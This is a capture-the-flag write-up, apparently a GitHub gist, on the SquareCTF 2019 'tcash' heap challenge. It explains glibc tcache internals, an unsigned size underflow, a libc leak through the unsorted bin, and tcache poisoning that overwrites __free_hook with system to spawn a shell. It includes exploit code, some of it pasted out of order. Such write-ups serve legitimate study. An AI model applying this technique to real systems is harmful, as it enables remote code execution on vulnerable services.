Skip to content

Instantly share code, notes, and snippets.

@tessprime
Last active September 26, 2021 04:48
Show Gist options
  • Select an option

  • Save tessprime/62eccb49dc10ed770eed75be55a04ee1 to your computer and use it in GitHub Desktop.

Select an option

Save tessprime/62eccb49dc10ed770eed75be55a04ee1 to your computer and use it in GitHub Desktop.

Tcash

Problem description

Upon connecting to the server we are presented with the following options

I heard that tcache is pretty bad, but disabling it is pretty annoying.
But chunks that're greater than 0x408 don't go in tcache :)
1) malloc
2) write
3) print
4) free
-------------------------------------
> 

So this will be a heap corruption exploit of some form. Downloading the tar, we obtain not just binary, but also a docker file to recreate the server environment. Since a heap exploit will potentially rely on a particular version of libc, this is important. Furthermore, the problem is giving us a strong nudge that there will be a vulnerability in tcache.

Review of segments, malloc, free and tcache

Programs have several places where data gets stored. One location is the stack. Another location is initialized variables and bss segments. On linux at least, these are in a fixed location relative to the TEXT (program executable code) segment.

Finally, there's the heap. The size of this segment is unbounded (and grows upwards). On linux, the program calls sbrk to enlarge the size of this.

The following memory layout (obtained using vmmap in gdb/gef) shows the various data and program segments, including the heap.

Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /home/chris/ctf/squarectf-2019/tcash/tcash/tcash
0x0000555555755000 0x0000555555756000 0x0000000000001000 r-- /home/chris/ctf/squarectf-2019/tcash/tcash/tcash
0x0000555555756000 0x0000555555757000 0x0000000000002000 rw- /home/chris/ctf/squarectf-2019/tcash/tcash/tcash
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fb0000 0x00007ffff7fb2000 0x0000000000000000 rw- 
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Let's look at the first 4 segments. The first segment is the text segment, and is marked as executable. The next is where read only variables, like strings, would be placed. Global variables would go in the third section, and then finally you get the heap. Shared libaries get a similar layout (but they will end up sharing the same heap if they invoke malloc). When ASLR is enabled, the first three segments will be contiguous, but at a random location, and the heap will be at a higher, but random, offset. Likewise, libc and the stack will be at random locations.

malloc manages data in the heap segment. (Also note that the heap's total size is 0x21000. That'll come up later.) To manage data, malloc will uses both internal data structures that reside inside the libc address sapce to track areas in the heap (called arenas), and also it will use the heap itself to track heap usage. A typical mallocated chunk looks like

                                      --------------------- <--
                                      | Chunk Size|flags  |   |
                                      ---------------------   |
this is the pointer malloc returns--> |*User Data         |   |--chunk
                                      | ...               |   |       
                                      | End of User Data  |   | 
                                      ---------------------   |
And used to transverse heap chunks--->|previous chunk size|   |
                                      --------------------- <--
                                      |... Next chunk  ...|
                                      ---------------------

When a pointer is freed, and it's big enough, it goes into a doubly linked list of freed pointers. malloc uses the freed memory itself to store the linked list node entries. The first and last elements of this list both point back to an internal data structure in libc. If we can read the freed memory, than we know where libc is.

malloc, for efficiency, keeps track of multiple "bins" of freed memory. One bin is the unsorted bin described above. When a memory request comes in, malloc goes through the unsorted bins, and checks to see if any match the size, if it is, malloc will return that memory chunk. If not, it'll put that memory chunk into either a small bin or a large bin, and keep looking for a new chunk.

However, there is another optimization that is made before this. There is an array of linked lists, indexed by size. If a chunk is small enough, it'll be added to the beginning of one of these linked lists. Here's the code (from malloc.c for libc-2.27) for putting a new chunk, and getting a previously placed chunk of a given size.

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

So the freed data will point to the next entry in the list. If we can gain access to the data after it's been freed, then we can control what memory will be returned by malloc. We will need two calls though. The first call will return the memory chunk we controlled, the second will return the target memory. This is the basic idea behind doing a tcache exploit.

Initial Code Exploration

I used Ghidra to decompile the tcash executable. The main function reveals the existence of a hidden secret chunks command.

void main(EVP_PKEY_CTX *pEParm1)
{
  int menu_choice;
  uint slot;
  
  init(pEParm1);
  puts("I heard that tcache is pretty bad, but disabling it is pretty annoying.");
  puts("But chunks that\'re greater than 0x408 don\'t go in tcache :)");
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          menu();
          menu_choice = read_int();
          puts("slot (0-9)?");
          slot = read_int();
          if (((int)slot < 0) || (9 < (int)slot)) {
            puts("invalid slot");
                    /* WARNING: Subroutine does not return */
            exit(0);
          }
          if (menu_choice != 3) break;
          print_chunk(slot);
        }
        if (menu_choice < 4) break;
        if (menu_choice == 4) {
          free_chunk(slot);
        }
        else {
          if (menu_choice != 0x539) goto LAB_00100eb8;
          /* Super secret Chunks! */
          secret_chunks();
        }
      }
      if (menu_choice != 1) break;
      create_chunk(slot);
    }
    if (menu_choice != 2) break;
    write_chunk(slot);
  }
LAB_00100eb8:
  puts("invalid");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

checking out the secret chunks

void secret_chunks(void)
{
  ssize_t bytes_read;
  ssize_t bytes_read2;
  
  if ((allocs[10].data == (char *)0x0) && (allocs[11].data == (char *)0x0)) {
    allocs[10].size = 0x308;
    allocs[10].data = (char *)malloc(0x308);
    puts("data 1: ");
    bytes_read = read(0,allocs[10].data,(ulong)(allocs[10].size - 1));
    allocs[10].data[bytes_read] = 0;
    allocs[11].size = 0x308;
    allocs[11].data = (char *)malloc(0x308);
    puts("data 2: ");
    bytes_read2 = read(0,allocs[11].data,(ulong)(allocs[11].size - 1));
    allocs[11].data[bytes_read2] = 0;
  }
  return;
}

So we're allocating a chunk of memory that is 0x308 in size in the secret chunks code. This is small enough to use tcache. The regular chunks function is

void create_chunk(uint slot)
{
  uint requested_size;
  char *malloced_address;
  
  if (allocs[(long)(int)slot].data == (char *)0x0) {
    puts("size: ");
    requested_size = read_int();
    if (requested_size < 0x6f9) {
      allocs[(long)(int)slot].size = requested_size - 1;
      malloced_address = (char *)malloc(0x6f8);
      allocs[(long)(int)slot].data = malloced_address;
      printf("created chunk in slot: %d\n",(ulong)slot);
    }
    else {
      puts("size too large");
    }
  }
  else {
    puts("slot is already created");
  }
  return;
}

The regular chunks are of size 0x6f9 which is too large to fit in tcache. Of note, the size doesn't actually allocate the size of the chunk; all chunks are of a fixed size. This means if we want to manipulate tcache, we can only use the secret chunks function. We also only get to use it once since there is no free_secret_chunks function.

The create_chunk function also has a key thing to observe. Consider the size check here:

        00100af0 89 45 fc        MOV        dword ptr [RBP + local_c],requested_size
        00100af3 81 7d fc        CMP        dword ptr [RBP + local_c],0x6f8
                 f8 06 00 00
        00100afa 76 0e           JBE        LAB_00100b0a

JBE is an unsigned comparison. So if you enter -1 in the read_int() subroutine, it'll prevent it from being used. However, 0 will still pass that check and then

allocs[(long)(int)slot].size = requested_size - 1;

will be used. The size parameter is later used print_chunk function

write(1,allocs[(long)slot].data,(ulong)(uint)allocs[(long)slot].size);

where it's clear that the -1 will be treated as an unsigned value, so this is 2**32-1. Note, that write won't crash when it attempts to print out 2**32-1 bytes, rather, it will print to stdout until it reaches the end of the memory segment. The write documentaiton is explicit that this is not an error. Which is great, because we really don't want to pull 4 gigabytes of data from the tcash server :).

Okay, so we can see everything on the heap (after the first chunk) using the print_chunk function. What about write_chunk? write_chunk uses the read_helper function, which is here:

void read_helper(char *dest,ulong length)

{
  ssize_t errcode;
  ulong i;
  
  i = 0;
  while (((errcode = read(0,dest + i,1), 0 < errcode && (i < length)) && (dest[i] != '\n'))) {
    i = i + 1;
  }
  dest[i] = 0;
  return;
}

length is an unsigned value again. The assembly code for the (i < length) code is:

        001009a6 48 3b 45 e0     CMP        errcode,qword ptr [RBP + local_28]
        001009aa 72 bd           JC         LAB_00100969

Where again, JC is an unsigned comparison. So we can write basically write anything we want to the heap.

Obtaining libc offsets.

Okay, so if we allocate a chunk with size 0, that chunk can then be used to read and write whatever we want to the heap.

If we mallocate a chunk to slot 1 and free it, then it will go into the unsorted bins, which will leave behind a pointer to the main arena data structure in libc. The simplest way to turn that into an offset is to run gef as follows

gef➤  break main
Breakpoint 1 at 0x555555554ddd
gef➤  run
gef➤  heap-analysis-helper 
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc() & calloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down the execution noticeably.

Once we free the chunk at slot 1 we can run

gef➤  x/1g 0x555555757960
0x555555757960:	0x7ffff7dcfca0

to obtain the pointer. (Note, I think you need to allocate slot 2 as well to prevent slot 1 from being the last chunk which has special behavior). With this we compute

gef➤  p 0x7ffff7dcfca0 - (long long) system
$1 = 0x39c860

to obtain the offset to the system call.

Seizing the means of Program Control using __free_hook

So we now have control of the heap, and we know where libc is located in memory, and we know where system is. We still don't have a story about how we're going to actually execute system to get a shell. If we knew where the stack was we could rewrite the RIP register and mount an ROP attack. But we don't know where the stack is.

If we knew where the program code was located, we could attempt to overwrite the Global Offset Table (GOT) to have a shared library call invoke system instead. However, although we can potentially get a heap pointer, the heap is separated from the program sections by a random offest.

However, it turns out that knowing where libc is, and being able to invoke free at will is enough.

glibc has a concept called "Malloc Hooks" which allow you to override the behavior of malloc and free.

https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html

So if we overwrite free to be system, we're in great shape, because the argument of free is a pointer, specifically, a pointer to a location on the heap that we control. And we'll make it "/bin/sh".

Exploiting tcache

Alright! we know where libc is. We know what we want to overwrite, and we know where that is. The remaining step is to do it. Our plan is:

(1) Obtain libc address

def leak_bin_address():
    allocate_slot(0,0) # Allows us to read and write the entire heap
    allocate_slot(1,10) # Target Slot for manipulation
    allocate_slot(2,10) # Needed to ensure Slot 1 goes into unsorted bins
                                                                                                
    free_slot(1) # Puts the slot 1 chunk into the unsorted bins
    result = print_slot(0) # dump basically the entire heap.
    
    # first 0x698 (1784) bytes are the allocated slot.
    # the next 8 bytes are the size of the just freed slot.
    # the next 8 bytes are the target bin_address
    offset = 1784+8
    return u64(result[offset:offset+8])
    bin_address = leak_bin_address()
    system = bin_address + bin_offset_to_system
    hook_address = system + (hook_offset - system_offset)

(2) Rewrite the size of slot 1 so that when freed, it goes to tcache

def rewrite_next(slot, size, next_ptr):
    r.sendline("2")
    print(r.recv())
    r.sendline("0")
    print(r.recv())
    r.sendline(b"\x00"*1784+p64(size) + p64(next_ptr))
    r.recv()
    allocate_slot(1, 10)
    print("rewriting size")
    rewrite_size(1, 0x308) # same as secret chunks
    print("freeing slot")
    free_slot(1) # this should add it to tcache

(3) Rewrite the slot 1 next pointer to point to __free_hook.

def rewrite_next(slot, size, next_ptr):
    r.sendline("2")
    print(r.recv())
    r.sendline("0")
    print(r.recv())
    r.sendline(b"\x00"*1784+p64(size) + p64(next_ptr))
    r.recv()
    print("rewriting next")
    rewrite_next(1, 0x308, hook_address) # make the next entry be the hook ptr

(4) Invoke the secret chunks function. The second data slot will point to __free_hook, so we write the system address to it.

def allocate_secret_chunks(first_data, second_data):
    r.sendline("1337")
    print(r.recv())
    r.sendline("0")
    print(r.recv())
    r.sendline(first_data)
    print(r.recv())
    r.sendline(second_data)
    print(r.recv())
    print("allocating secret chunks")
    allocate_secret_chunks(b"don't care", p64(system))

(5) Write the system payload string to slot 2.

    write_slot(2, "/bin/sh")

(6) Execute free on slot 2.

    free_slot(2, wait=False) # we should now have a shell.
    
    r.interactive()

This obtains a shell.

[*] Switching to interactive mode
slot (0-9)?
$ ls
flag.txt
run.sh
tcash
$ cat flag.txt
flag-53AE19D1869BF54B5DDEF813
$  
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment